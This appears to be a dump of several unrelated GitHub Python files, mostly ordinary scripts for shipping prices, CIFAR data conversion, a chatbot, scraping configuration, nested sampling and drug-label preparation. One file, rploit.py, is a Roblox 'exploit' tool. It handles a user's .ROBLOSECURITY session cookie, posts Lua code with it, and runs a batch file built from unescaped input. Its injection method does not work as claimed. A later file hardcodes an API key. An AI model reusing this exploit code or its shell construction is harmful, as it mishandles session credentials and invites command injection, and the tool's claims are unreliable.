calculate shipping prices\ndef get_ground_price(weight):\n if (weight >= 10):\n return 4.75 * weight + 20\n elif (weight >= 6):\n return 4.00 * weight + 20\n elif weight >= 2:\n return 3.00 * weight + 20\n elif weight > 0:\n return 1.50 * weight + 20\n\n\ndef get_drone_price(weight):\n if weight >= 10:\n return 14.75 * weight\n elif weight >= 6:\n return 12.00 * weight\n elif weight >= 2:\n return 9.00 * weight\n elif weight > 0:\n return 4.50 * weight\n\n\npremium_ground_price = 125.00\n\n\n# End calc shipping functions\n# Calculate cheapest shipping option\ndef best_shipping(weight):\n ground = get_ground_price(weight)\n drone = get_drone_price(weight)\n if (ground < drone) and (ground < premium_ground_price):\n return \"The ground shipping method is the best value for a package that weighs \" + str(\n weight) + \"lbs. Your total \" \\\n \"shipping price \" \\\n \"is $\" + str(ground) + \\\n \". \"\n elif (drone < ground) and (drone < premium_ground_price):\n return \"The drone shipping method is the best value for a package that weighs \" + str(\n weight) + \"lbs. Your total \" \\\n \"shipping price is \" \\\n \"$\" + str(drone) + \". \"\n else:\n return \"The premium ground shipping method is the best value for a package that weighs \" + str(weight) + \"lbs. \" \\\n \"Your \" \\\n \"total \" \\\n \"shipping \" \\\n \"price is \" \\\n \"$\" + \\\n str(premium_ground_price) + \". \"\n\n\n# End calculate cheapest shipping option\nprint(\"Welcome to Sal's Shipping.\")\n\nwhile True:\n user_input = input(\"Input your package weight to see the cheapest shipping option.\")\n print(best_shipping(float(user_input)))\n user_input = input(\"Would you like to calculate another weight? [Yes/No]\")\n if user_input.lower() != \"yes\":\n break\n","repo_name":"nolandseigler/python-sandbox","sub_path":"shipping_calc_app.py","file_name":"shipping_calc_app.py","file_ext":"py","file_size_in_byte":2491,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"24322396709","text":"import torch\nfrom torchvision import transforms\nimport torchvision\nimport numpy as np\nimport psutil\nimport os\nimport h5py\n# from utils.utils import show_memory_info\n\nbatch_size = 256\n\n\n\ndef make_H5Dataset(file, loader,shape, group=128, suffix='.h5'):\n os.makedirs(os.path.dirname(file), exist_ok=True)\n\n #loader.batch_size\n height, width, channel = shape[1:]\n\n nums = 0\n x = np.ones(shape=[group * batch_size, channel, height, width]) * -1\n print(x.shape)\n y = np.ones(shape=[group * batch_size, ]) * -1\n print(y.shape)\n N = len(loader)\n Z = N // group\n # show_memory_info(0)\n with h5py.File(file + suffix, 'w') as f:\n f.create_dataset('img', data=np.array(x, dtype=np.float32), maxshape=(None, channel, height, width),\n # chunks=(100*batch_size, 1, 28, 28),\n dtype='float32')\n f.create_dataset('gt', data=np.array(y, dtype=np.int8), maxshape=(None,),\n # chunks=(100*batch_size,),\n )\n # show_memory_info('prepare OK')\n h5f = h5py.File(file+suffix, 'a')\n # show_memory_info('h5f')\n count = 0\n for i, batch in enumerate(loader, 1):\n\n (img, label) = batch\n # print(\"iter: {}, img batch {}\".format(i, img.shape[0]))\n if i < len(loader):# and nums + batch_size < len(val_loader) * batch_size: #不构成一批,会引入空内容\n x[nums:nums + batch_size, ...] = img\n y[nums:nums + batch_size, ...] = label\n nums += batch_size\n if i % group == 0:\n count = i // group\n print(count)\n # to_h5py(x, y, file + str(i // 1000) + suffix)\n # with h5py.File(file+suffix, 'a') as h5f:\n h5f['img'].resize([group * batch_size * count, channel, height, width])\n h5f['gt'].resize([group * batch_size * count, ])\n # show_memory_info(0)\n h5f['img'][group * batch_size * (count - 1):group * batch_size * count] = x\n h5f['gt'][group * batch_size * (count - 1):group * batch_size * count] = y\n # show_memory_info(0)\n nums = 0\n print(h5f['img'].shape)\n continue\n\n if count == Z:\n if i % group == 0:\n tail_nums = N * batch_size - h5f['img'].shape[0]\n x = np.ones(shape=[tail_nums, channel, height, width]) * -1\n print(x.shape)\n y = np.ones(shape=[tail_nums, ]) * -1\n print(y.shape)\n else:\n h5f['img'].resize([N * batch_size, channel, height, width])\n h5f['gt'].resize([N * batch_size, ])\n nums = 0\n\n\n\n print(h5f['img'].shape)\n h5f.close()\n\n\n\n\n\nif __name__ == \"__main__\":\n\n print('==> Preparing data..')\n transform_train = transforms.Compose([\n transforms.RandomCrop(32, padding=4),\n transforms.RandomHorizontalFlip(),\n transforms.ToTensor(),\n transforms.Normalize((0.4914, 0.4822, 0.4465), (0.2023, 0.1994, 0.2010)),\n ])\n\n transform_test = transforms.Compose([\n transforms.ToTensor(),\n transforms.Normalize((0.4914, 0.4822, 0.4465), (0.2023, 0.1994, 0.2010)),\n ])\n\n train_set = torchvision.datasets.CIFAR10(\n root='../00-raw', train=True, download=True, transform=transform_train)\n\n val_set = torchvision.datasets.CIFAR10(\n root='../00-raw', train=False, download=True, transform=transform_test)\n\n # train_set = torchvision.datasets.CIFAR100(\n # root='../../00-raw', train=True, download=True, transform=transform_train)\n #\n # val_set = torchvision.datasets.CIFAR100(\n # root='../../00-raw', train=False, download=True, transform=transform_test)\n\n print(len(train_set), len(val_set), )\n\n # 50000,10000取128bs扩充为50048 10112\n train_loader = torch.utils.data.DataLoader(\n train_set, batch_size=batch_size, shuffle=True, num_workers=4)\n val_loader = torch.utils.data.DataLoader(\n val_set, batch_size=batch_size, shuffle=False, num_workers=4)\n\n print(\"train_set: [{}/{}]\".format(len(train_loader), len(train_loader) * batch_size))\n print(\"val_set: [{}/{}]\".format(len(val_loader), len(val_loader) * batch_size))\n\n classes = ('plane', 'car', 'bird', 'cat', 'deer',\n 'dog', 'frog', 'horse', 'ship', 'truck')\n\n # show_memory_info(0)\n #\n make_H5Dataset(\"../00-data/cifar10_val_chunks\", val_loader, val_set.data.shape, group=32)\n make_H5Dataset(\"../00-data/cifar10_train_chunks\", train_loader, train_set.data.shape, group=32)\n print(train_loader.batch_size)","repo_name":"XiaoXiao-Woo/UDL","sub_path":"udl_vis/Basis/data_gen/cifar_makedataset.py","file_name":"cifar_makedataset.py","file_ext":"py","file_size_in_byte":4611,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"18"} +{"seq_id":"30319447738","text":"#!/usr/bin/env python3\n\nimport warnings\nwith warnings.catch_warnings():\n warnings.filterwarnings(\"ignore\", category=DeprecationWarning)\n warnings.filterwarnings(\"ignore\", category=FutureWarning)\n\nfrom rasa_core.agent import Agent\nfrom rasa_core.channels.console import ConsoleInputChannel\nfrom rasa_core.interpreter import RasaNLUInterpreter\n\ndef run_weather_bot(serve_forever=True):\n interpreter = RasaNLUInterpreter('models/nlu/default/weathernlu')\n agent = Agent.load('models/dialogue', interpreter = interpreter)\n if serve_forever:\n agent.handle_channel(ConsoleInputChannel())\n return agent\n\ndef main():\n run_weather_bot()\n\nif __name__ == \"__main__\":\n main()\n\n","repo_name":"NISH1001/weatherbot","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":695,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"73052608359","text":"import os\nimport glob\nimport requests\nimport pyautogui\nimport pyperclip\nimport time\nimport psutil\nimport pygetwindow as gw\n\ndef banner():\n print(\"\"\" =@%- \n =@@@%= \n .*@@@@= \n :#@@@@@%= \n :=: :#@@@@@@@@@@- \n :@@@#: :#@@@@@@@@@@@@@%-\n :*@@@#- -#@@@@@@@@@@@@@#@@@\n .#@@@@%: +@@@@@@@@@@@@@*. .*@\n .*@@@@@@@@#:.+@@@@@@@@@*. \n .+@@@@@@@@@@@@#:.*@@@@@*: \n .*@@@@@@@@@@@@@@@@#:.+@*. \n +@@@@@@@@@@@@@@@@@@@@#: \n .+@@@@@@@#-+@@@@@@@@@@@@@@#: \n .*@@@@@@@@@+. +@@@@@@@@@@@@@@#- \n +@@@@@@@@@@@@@*. .+@@@@@@@@@@@@@@%: \n .*@@@@@@@@@@@@@@@@@+. =@@@@@@@@+.:#@@@. \n +@@@@@@@#-.*@@@@@@@@@@@@@@@@@@= .-. \n .+@@@@@@@@@@+ :*@@@@@@@@@@@@@@+ \n +@@@@@@@@@@@@@@= .*@@@@@@@@@@= \n .+@@@@@@@%@@@@@@@@@%= -%@@@@@@@+ \n .*@@@@@@@@- .+@@@@@@@@@@@@@@@@%= \n +@@@@@@@@@@%- .#@@@@@@@@@@@@@= \n .*@@@@@@@@@@@@@@%= :*@@@@@@@@@+ \n +@@@@@@@##@@@@@@@@@@-=@@@@@@@@= \n .+@@@@@@@@+ -#@@@@@@@@@@@@@@@@+ \n +@@@@@@@@@@@%- :#@@@@@@@@@@@@= \n -@@@@@@@@@@@@@@#: -@@@@@@@@@+ \n -@@@@@@@@@@@@@@@@%+%@@@@@@%= \n :@@@@@@@@@@@@@@@@@@@@@@@@= \n %@@@@@@@@@@@@@@@@@@@@@+ \n :@@@@@@@@@@@@@@@@@@@= \n -%@@@@@@@@@@@@@@@@@+ \n =@@@@@@%%@@@@@@@@@@+. \n *@@@@@%= .:-====== \n :#%%@*: \n .*@+ \n :#@*. \n .*@+ \n :*@*. \n :*%+. \n*@+ \n\"\"\")\n\n\ndef inject_lua_code(game_id, auth_cookie, lua_code):\n url = f\"https://www.roblox.com/games/{game_id}/place\"\n headers = {\n \"Cookie\": f\".ROBLOSECURITY={auth_cookie}\"\n }\n payload = {\n \"code\": lua_code\n }\n\n response = requests.post(url, headers=headers, data=payload)\n\n if response.status_code == 200:\n print(\"Código Lua injetado com sucesso!\")\n else:\n print(f\"Falha ao injetar código Lua. Código de status: {response.status_code}\")\n\ndef create_bat_script(script_name, game_id, auth_cookie, lua_code):\n bat_code = f'@echo off\\npython -c \"import os; os.system(\\'python {script_name} {game_id} {auth_cookie} \"{lua_code}\"\\')\"'\n with open(\"inject_script.bat\", \"w\") as bat_file:\n bat_file.write(bat_code)\n\ndef read_script_file(file_path):\n with open(file_path, \"r\") as file:\n return file.read()\n\ndef get_browser_url():\n pyautogui.hotkey(\"ctrl\", \"l\")\n pyautogui.hotkey(\"ctrl\", \"c\")\n time.sleep(0.5)\n return pyperclip.paste()\n\ndef get_browser_auth_cookie():\n browser_process_names = [\"chrome\", \"msedge\", \"firefox\"]\n\n for proc in psutil.process_iter(['pid', 'name']):\n if proc.info['name'].lower() in browser_process_names:\n try:\n browser_window = gw.getWindowsWithTitle(proc.info['name'])[0]\n browser_window.activate()\n pyautogui.hotkey(\"ctrl\", \"l\")\n pyautogui.hotkey(\"ctrl\", \"c\")\n time.sleep(0.5)\n auth_cookie = pyperclip.paste()\n return auth_cookie.strip()\n except IndexError:\n pass\n\n print(\"Nenhuma janela do navegador foi encontrada.\")\n return None\n\ndef main():\n print(\"Aguarde enquanto o script detecta o auth_cookie automaticamente...\")\n\n auth_cookie = get_browser_auth_cookie()\n\n if not auth_cookie:\n print(\"O auth_cookie não foi detectado automaticamente. Por favor, forneça-o manualmente.\")\n auth_cookie = input(\"Digite o auth_cookie: \")\n\n print(\"Auth_cookie detectado com sucesso:\", auth_cookie)\n\n print(\"Por favor, abra o navegador e acesse a página do jogo no Roblox.\")\n input(\"Pressione Enter após acessar a página do jogo.\")\n\n game_id = None\n while not game_id:\n url = get_browser_url()\n if \"roblox.com/games/\" in url:\n game_id = url.split(\"/games/\")[1].split(\"/\")[0]\n\n lua_code = select_script_file()\n\n if not lua_code:\n return\n\n inject_lua_code(game_id, auth_cookie, lua_code)\n\n script_name = os.path.basename(__file__) # Nome do próprio script Python\n create_bat_script(script_name, game_id, auth_cookie, lua_code)\n\n # Executa o arquivo .bat\n os.system(\"inject_script.bat\")\n\ndef select_script_file():\n scripts_folder = \"scripts\"\n script_files = glob.glob(os.path.join(scripts_folder, \"*.*\"))\n\n if not script_files:\n print(\"Nenhum arquivo de script encontrado na pasta 'scripts'.\")\n return None\n\n print(\"Arquivos de script encontrados:\")\n for idx, script_file in enumerate(script_files, start=1):\n print(f\"{idx}. {os.path.basename(script_file)}\")\n\n print(f\"{idx + 1}. Digitar o próprio código Lua\")\n selected_script = None\n while selected_script is None:\n user_input = input(\"Digite o número do arquivo de script ou 'd' para digitar o próprio código: \")\n\n if user_input.lower() == 'd':\n lua_code = input(\"Digite o código Lua: \")\n return lua_code\n\n try:\n selected_idx = int(user_input)\n if 1 <= selected_idx <= len(script_files):\n selected_script = script_files[selected_idx - 1]\n else:\n print(\"Número inválido. Por favor, selecione um número válido.\")\n except ValueError:\n print(\"Entrada inválida. Por favor, digite um número ou 'd' para digitar o próprio código.\")\n\n # Ler o conteúdo do arquivo selecionado\n script_extension = os.path.splitext(selected_script)[1].lower()\n if script_extension in [\".py\", \".txt\", \".lua\"]:\n lua_code = read_script_file(selected_script)\n pyperclip.copy(lua_code)\n print(\"Código do script copiado para a área de transferência.\")\n return lua_code\n else:\n print(f\"Extensão de arquivo '{script_extension}' não suportada.\")\n return None\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"Jeanpseven/RBXExploits","sub_path":"rploit.py","file_name":"rploit.py","file_ext":"py","file_size_in_byte":7864,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"25165488273","text":"import json\n\nfrom typing import Dict, List, Any, Tuple, Generator\n\nfrom loaders.response_loader import ResponseLoader\nfrom scraping.crawler import Crawler\nfrom utils.logger import Logger, LoggerLevel\nfrom utils.deserializer import Deserializer\n\n\nclass ConfigLoader:\n \"\"\"\n Loads and processes configuration data for scraping.\n\n Args:\n config_file_path (str): Path to the configuration file.\n\n Attributes:\n config_file_path (str): The path to the configuration file.\n config_data (dict): The loaded configuration data.\n _total_elements (int): Total number of elements.\n _element_names (set): Set of element names.\n _target_url_table (dict): Table of target URLs and their options.\n _parsing_options_cache (dict): Cache for data parsing options.\n \"\"\"\n\n def __init__(self, config_file_path: str):\n self.config_file_path = config_file_path\n\n self.config_data = self.load_config()\n\n self._total_elements = 0\n self._element_names = set()\n self._target_url_table = {}\n self._parsing_options_cache = {}\n self._build_target_url_table()\n self.format_config()\n\n def load_config(self) -> dict:\n \"\"\"\n Load configuration data from the specified file.\n\n Returns:\n dict: The loaded configuration data.\n\n Raises:\n FileNotFoundError: If the configuration file is not found.\n json.JSONDecodeError: If there's an issue with JSON decoding.\n \"\"\"\n try:\n with open(self.config_file_path) as file:\n return json.load(file)\n except FileNotFoundError as e:\n raise FileNotFoundError(f\"Config file not found: {self.config_file_path}\") from e\n except json.JSONDecodeError as e:\n raise ValueError(f\"Failed to decode JSON in config file: {self.config_file_path}\") from e\n\n def get_target_urls(self) -> List[str]:\n \"\"\"\n Get a list of target URLs from the configuration data.\n\n Returns:\n List[str]: List of target URLs.\n\n Raises:\n ValueError: If no valid URLs are found in the configuration.\n \"\"\"\n urls = [url.get('url') for url in self.config_data.get(\"target_urls\", []) if url.get('url')]\n\n if not urls:\n raise ValueError(f\"No valid URLs found in config: {self.config_file_path}\")\n\n return urls\n\n def get_crawlers(self) -> Generator[Crawler, Any, Any]:\n \"\"\"\n Generate Crawler instances based on configuration data.\n\n Yields:\n Crawler: A Crawler instance.\n \"\"\"\n seeds = self.get_target_urls()\n NO_CRAWLER_FOUND = 'no_crawler_found'\n crawler_options_collection = [crawler_data.get('crawler', NO_CRAWLER_FOUND) for crawler_data in\n self.config_data.get('target_urls')]\n # for every target_url there's an url, so we can safely use the index from crawler_options_collection to\n # index the seeds list as they are in the same order and of the same length\n for index, crawler_options_raw_data in enumerate(crawler_options_collection):\n render_pages = self._target_url_table.get(seeds[index], {}).get('render_pages', False)\n if crawler_options_raw_data == NO_CRAWLER_FOUND:\n crawler_options = Crawler(seeds[index], [ResponseLoader.get_domain(seeds[index])],\n render_pages=render_pages)\n else:\n crawler_options = Deserializer.deserialize(Crawler(seeds[index], [], render_pages=render_pages),\n crawler_options_raw_data)\n yield crawler_options\n\n def only_scrape_sub_pages(self, url: str) -> bool:\n \"\"\"\n Check if a target URL is set to only scrape sub-pages.\n\n Args:\n url (str): The URL to be checked.\n\n Returns:\n bool: True if only sub-pages are to be scraped, False otherwise.\n \"\"\"\n if self._target_url_table:\n return self._target_url_table.get(url, {}).get('only_scrape_sub_pages', False)\n\n def get_raw_target_elements(self) -> Generator[Tuple[str, Dict[Any, Any]], None, None]:\n \"\"\"\n Generate raw target elements or selectors from the configuration.\n\n Yields:\n Tuple[str, Dict[Any, Any]]: A tuple where the first element is 'target' or 'selector',\n and the second element is the raw element configuration.\n \"\"\"\n elements = self.config_data.get(\"elements\", [])\n\n for element in elements:\n element_type = \"BAD SELECTOR\"\n # we treat search hierarchies the same as target elements as all target elements are\n # formatted into search hierarchies\n if element.get('tag', \"\") or element.get('search_hierarchy'):\n element_type = \"target\"\n elif element.get('css_selector', \"\"):\n element_type = \"selector\"\n\n yield element_type, element\n\n def get_data_parsing_options(self, element_id: int) -> dict:\n \"\"\"\n Get data parsing options for a given element ID.\n\n Args:\n element_id (int): The ID of the element.\n\n Returns:\n dict: Data parsing options for the element.\n \"\"\"\n options = self._parsing_options_cache.get(element_id)\n\n if options:\n return options\n\n for _, element in self.get_raw_target_elements():\n if element.get(\"id\") != element_id:\n continue\n\n element_parsing_data = element.get('data_parsing', '')\n if not element_parsing_data:\n Logger.console_log(\n f\"element has no data parsing options specified, collect data will be ignored: {element}\",\n LoggerLevel.WARNING)\n else:\n self._parsing_options_cache.update({element_id: element_parsing_data})\n\n return element_parsing_data\n\n return {}\n\n def get_saving_data(self) -> Dict[Any, Any]:\n \"\"\"\n Get data saving options from the configuration.\n\n Returns:\n Dict[Any, Any]: Data saving options.\n \"\"\"\n return self.config_data.get('data_saving')\n\n def get_data_order(self) -> List[str]:\n \"\"\"\n Get the order of data elements based on configuration.\n\n Returns:\n List[str]: Ordered list of data element names.\n\n Raises:\n ValueError: If an element name in the data order is not found.\n \"\"\"\n data_order = self.config_data.get('data_order', [])\n\n if len(data_order) != self._total_elements:\n for element_name in self._element_names:\n if element_name not in data_order:\n data_order.append(element_name)\n\n unique_data_order = []\n for item in data_order:\n if item not in unique_data_order:\n unique_data_order.append(item)\n if item not in self._element_names:\n raise ValueError(f\"Unknown name in data-order: {item}\")\n return unique_data_order\n\n def format_config(self) -> None:\n \"\"\"\n Format the configuration data by setting defaults and IDs for elements.\n \"\"\"\n for index, (_, element) in enumerate(self.get_raw_target_elements()):\n element[\"id\"] = index\n element_name = element.get('name', None)\n if not element_name:\n element[\"name\"] = f\"element {index}\"\n self._element_names.add(element_name)\n\n def _build_target_url_table(self) -> None:\n \"\"\"\n Build the target URL table using configuration data.\n \"\"\"\n for url_data in self.config_data.get('target_urls', []):\n url = url_data.get('url')\n options = url_data.get('options', {})\n self._target_url_table.update({url: self._build_options(url, options)})\n\n @staticmethod\n def _build_options(url: str, options: Dict) -> Dict[str, bool]:\n \"\"\"\n Build options for a target URL with default values.\n\n Args:\n url (str): The target URL.\n options (Dict): User-defined options.\n\n Returns:\n Dict[str, bool]: Built options.\n \"\"\"\n DEFAULT_OPTIONS = {'only_scrape_sub_pages': True, 'render_pages': False}\n for option in DEFAULT_OPTIONS:\n if options.get(option) is None:\n Logger.console_log(\n f\"missing options argument in target url: {url} missing option: {option}, defaulting to {DEFAULT_OPTIONS[option]}\",\n LoggerLevel.WARNING)\n options.update({option: DEFAULT_OPTIONS[option]})\n return options\n","repo_name":"Curtidor/ScrapeFlow","sub_path":"loaders/config_loader.py","file_name":"config_loader.py","file_ext":"py","file_size_in_byte":8836,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"3844898052","text":"# A small Python script to load the text files\n# output by the Haskell code, and compute log(Z) and H,\n# as well as create some plots.\n\n# Imports\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport numpy.random as rng\nimport pandas as pd\n\n# Logsumexp function\ndef logsumexp(x):\n biggest = x.max()\n y = x - biggest\n tot = np.sum(np.exp(y))\n return np.log(tot) + biggest\n\ndef loadtxt_rows(filename, rows, single_precision=False):\n \"\"\"\n Load only certain rows\n \"\"\"\n # Open the file\n f = open(filename, \"r\")\n\n # Storage\n results = {}\n\n # Row number\n i = 0\n\n # Number of columns\n ncol = None\n\n while(True):\n # Read the line and split by commas\n line = f.readline()\n cells = line.split(\",\")\n\n # Quit when you see a different number of columns\n if ncol is not None and len(cells) != ncol:\n break\n\n # Non-comment lines\n if cells[0] != \"#\":\n # If it's the first one, get the number of columns\n if ncol is None:\n ncol = len(cells)\n\n # Otherwise, include in results\n if i in rows:\n if single_precision:\n results[i] = np.array([float(cell) for cell in cells],\\\n dtype=\"float32\")\n else:\n results[i] = np.array([float(cell) for cell in cells])\n i += 1\n\n results[\"ncol\"] = ncol\n return results\n\ndef postprocess(single_precision=False, temperature=1.0):\n\n # Load the files\n #sample = pd.read_csv(\"nested_sampling_parameters.csv\", header=None)\n sample_info = pd.read_csv(\"nested_sampling_info.csv\")\n\n # In case one is shorter than the other, truncate.\n #L = min(sample.shape[0], sample_info.shape[0])\n #sample = sample.iloc[0:L, :]\n #sample_info = sample_info.iloc[0:L, :]\n\n # Normalise prior weights\n logw = sample_info[\"ln_prior_weight\"]\n logw = logw - logsumexp(logw)\n\n # Calculate logZ, posterior weights, and H\n logZ = logsumexp(logw + sample_info[\"ln_l\"])\n logW = logw + sample_info[\"ln_l\"]/temperature - logZ\n W = np.exp(logW - logsumexp(logW))\n\n # Save posterior weights\n np.savetxt(\"posterior_weights.txt\", W)\n\n # Create posterior samples\n W /= W.max()\n Wnormed = W/W.sum()\n ESS = int(np.exp(-np.sum(Wnormed*np.log(Wnormed + 1E-300))))\n print(\"Effective sample size = {ESS}\".format(ESS=ESS))\n\n # Make the standard NS plots\n plt.subplot(2,1,1)\n plt.plot(sample_info[\"ln_x\"], sample_info[\"ln_l\"], \"-\", markersize=3)\n plt.ylabel(\"$\\\\ln(L)$\")\n plt.title(\"Likelihood curve\")\n\n # Set y lower limit by excluding bottom 5%\n ln_l_sorted = np.sort(sample_info[\"ln_l\"])\n lower_limit = ln_l_sorted[int(0.05*len(ln_l_sorted))]\n upper_limit = ln_l_sorted[-1]\n upper_limit += 0.05*(upper_limit - lower_limit)\n plt.ylim([lower_limit, upper_limit])\n\n plt.subplot(2,1,2)\n plt.plot(sample_info[\"ln_x\"], W, \"-\", markersize=3)\n plt.xlabel(\"$\\\\ln(X)$\")\n plt.ylabel(\"$W$\")\n plt.title(\"Posterior weights\")\n\n # Format and display figures\n plt.tight_layout(h_pad=1.0)\n plt.show()\n\n\n rows = np.empty(ESS, dtype=\"int64\")\n for i in range(0, ESS):\n while True:\n which = np.random.randint(sample_info.shape[0])\n if np.random.rand() <= W[which]:\n break\n rows[i] = which\n\n\n\n sample = loadtxt_rows(\"nested_sampling_parameters.csv\",\n set(rows), single_precision)\n posterior_sample = None\n if single_precision:\n posterior_sample = np.empty((ESS, sample[\"ncol\"]), dtype=\"float32\")\n else:\n posterior_sample = np.empty((ESS, sample[\"ncol\"]))\n\n for i in range(0, ESS):\n posterior_sample[i, :] = sample[rows[i]]\n\n\n np.savetxt(\"posterior_weights.txt\", W)\n if single_precision:\n np.savetxt(\"posterior_sample.csv\",\n posterior_sample, delimiter=\",\", fmt=\"%.7e\")\n else:\n np.savetxt(\"posterior_sample.csv\", posterior_sample, delimiter=\",\")\n\n\nif __name__ == \"__main__\":\n postprocess()\n\n","repo_name":"eggplantbren/NestedSampling.hs","sub_path":"showresults.py","file_name":"showresults.py","file_ext":"py","file_size_in_byte":4141,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"18"} +{"seq_id":"72131233639","text":"import urllib.request, urllib.error, urllib.parse\r\nimport json\r\nimport pandas as pd\r\nfrom tqdm import tqdm\r\nimport pubchempy as pcp\r\nimport numpy as np\r\nfrom sklearn.preprocessing import MultiLabelBinarizer\r\n\r\n\r\nsider = pd.read_csv('Sider(v4).csv', dtype={'drug_rxnorn_id': object})\r\n\r\noffsides = (\r\npd.read_csv('OFFSIDES.csv.gz', compression='gzip', error_bad_lines=False, low_memory=False, usecols = [\r\n 'drug_rxnorn_id',\r\n 'condition_concept_name',\r\n 'condition_meddra_id' \r\n])\r\n)\r\n\r\nAPI_KEY = \"\"\r\n\r\ndef get_json(url):\r\n opener = urllib.request.build_opener()\r\n opener.addheaders = [('Authorization', 'apikey token=' + API_KEY)]\r\n return json.loads(opener.open(url).read())\r\n\r\ndef get_class(drug_id):\r\n search = None\r\n try:\r\n tree = get_json('http://data.bioontology.org/ontologies/MEDDRA/classes/http%3A%2F%2Fpurl.bioontology.org%2Fontology%2FMEDDRA%2F{}/tree'.format(drug_id))\r\n for i in range(len(tree)):\r\n if str(drug_id) in str(tree[i]):\r\n search = tree[i]['prefLabel']\r\n except:\r\n pass\r\n return search\r\n\r\n\r\noffsides_condition = offsides.drop_duplicates(subset=['condition_meddra_id'], keep='first')\r\noffsides_condition['condition_concept_class'] = offsides_condition['condition_meddra_id'].apply(get_class)\r\n\r\n\r\noffsides_condition = offsides_condition[offsides_condition['condition_concept_class'].map(offsides_condition['condition_concept_class'].value_counts()) > 1]\r\noffsides = offsides.merge(offsides_condition[['condition_meddra_id', 'condition_concept_class']])\r\noffsides = offsides.dropna()\r\n\r\n\r\nunique_drugs = offsides[['drug_rxnorn_id']].drop_duplicates(keep='first')\r\nunique_drugs['CanonicalSMILES'] = unique_drugs['drug_rxnorn_id'].apply(lambda x: pcp.Compound.from_cid(x).canonical_smiles)\r\nunique_drugs.replace(to_replace = 'CC(C)(C(=O)O)OC1=CC=C(C=C1)CCNC(=O)C2C=CC(=[ClH])C=C2', value = 'CN1C(S(=O)(=O)CCC1=O)C2=CC=C(C=C2)Cl', inplace = True)\r\noffsides = offsides.merge(unique_drugs)\r\n\r\n\r\noff = offsides[['drug_rxnorn_id', 'condition_concept_class', 'CanonicalSMILES']]\r\noff.reset_index(drop=True, inplace=True)\r\n\r\n\r\nlabels = pd.DataFrame(off.groupby('drug_rxnorn_id')['condition_concept_class'].apply(lambda x: tuple(set(x.values))))\r\nlabels.reset_index(level=0, inplace=True)\r\nmlb = MultiLabelBinarizer()\r\nmlb.fit(labels['condition_concept_class'])\r\n\r\n\r\noff = pd.concat([labels, pd.DataFrame(data=mlb.fit_transform(labels['condition_concept_class']), columns=mlb.classes_)], axis= 1).merge(off.drop_duplicates(subset=['drug_rxnorn_id'], keep='first')[['drug_rxnorn_id','CanonicalSMILES']])\r\noff.drop('condition_concept_class', axis=1, inplace=True)\r\n\r\ndf = pd.concat([off,sider])\r\ndf = df.drop_duplicates(subset=['drug_rxnorn_id'], keep='first', ignore_index=True)\r\ncol = df.pop(\"CanonicalSMILES\")\r\ndf.insert(1, col.name, col)\r\n\r\n# Final dataset\r\ndf.to_csv('offsides&sider_labels.csv',index=False)\r\n\r\nsplits = np.array_split(df, 5)\r\nfor d in range(len(splits)):\r\n with open('smiles{}.smi'.format(d+1), 'w') as f:\r\n for i in splits[d]['CanonicalSMILES']:\r\n f.write(\"{}\\n\".format(i))","repo_name":"GeorgievFilip/Drug-Side-effects","sub_path":"Data/Data prep.py","file_name":"Data prep.py","file_ext":"py","file_size_in_byte":3106,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"22258079954","text":"import cv2, csv, glob, pickle\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nnewD = {}\nreader = csv.reader(open('./ExtSigns/labels.csv', 'r'))\nfor row in reader: \n try: newD[row[0]] = row[1:]\n except: print('Row not int', row)\n #for fNm in glob.glob('./ExtSigns/*o.jpg'):\n\nkeys = list(newD.keys())\nkeys.sort()\nX_ntest = np.zeros((len(keys), 32,32,3), np.int16)\ny_ntest = np.zeros(len(keys), np.int16)\nfor i in range(len(keys)):\n fnm = './ExtSigns/'+keys[i]\n image = cv2.imread(fnm, flags=cv2.IMREAD_COLOR)\n X_ntest[i,:,:,:] = image\n y_ntest[i] = int( newD[keys[i]][0] )\n print(keys[i], newD[keys[i]])\n\nX_ntest.shape\ny_ntest\n\ntraining_file = '../traffic-signs-data/train.p'\ntesting_file = '../traffic-signs-data/test.p'\n\n#with open(training_file, mode='rb') as f: train = pickle.load(f)\n#X_train, y_train = train['features'], train['labels']\nwith open(testing_file, mode='rb') as f: test = pickle.load(f)\nX_test, y_test = test['features'], test['labels']\n\n#gray = cv2.cvtColor(X_test[0],cv2.COLOR_BGR2GRAY);gray.shape\n#def cnv2gray(vec): return cv2.cvtColor(vec, cv2.COLOR_BGR2GRAY)\n#xx = np.apply_over_axes(cv2.cvtColor, X_test, [0])\n\nfor i in range(y_ntest.shape[0]):\n ys = np.equal( y_test, y_ntest[i] )\n xs = X_test[ys, :, :, :]\n xf = xs.flatten().reshape(xs.shape[0], (32*32*3))\n print ( 'O %3d %3d %6.2f %6.2f' %(max(xf.flatten()), min(xf.flatten()), \\\n np.mean(xf.flatten()),np.std(xf.flatten())) )\n xn = X_ntest[i]\n print ( 'N %3d %3d %6.2f %6.2f' %(max(xn.flatten()), min(xn.flatten()), \\\n np.mean(xn.flatten()),np.std(xn.flatten())) )\n\n","repo_name":"yelled1/CarND-Traffic-Signs","sub_path":"compareOrigVsNew.py","file_name":"compareOrigVsNew.py","file_ext":"py","file_size_in_byte":1668,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"14035260960","text":"from django.core.management.base import BaseCommand\nimport json\nfrom backend.api.models import Weather\n# import psycopg2\nfrom datetime import datetime\nfrom django.utils.timezone import make_aware, now\nimport time\nimport requests\n\nimport os\n\nclass Command(BaseCommand):\n appid = \"595c29ce82ae35b1caa367d86f0a8b26\"\n api_url = \"http://api.openweathermap.org/data/2.5/forecast/daily?q=Dublin,IE&cnt=16&units=metric&cnt=16&appid={id}\".format(id = appid)\n \n # define logic of command\n def handle(self, *args, **options):\n\n global weatherForecastResult\n 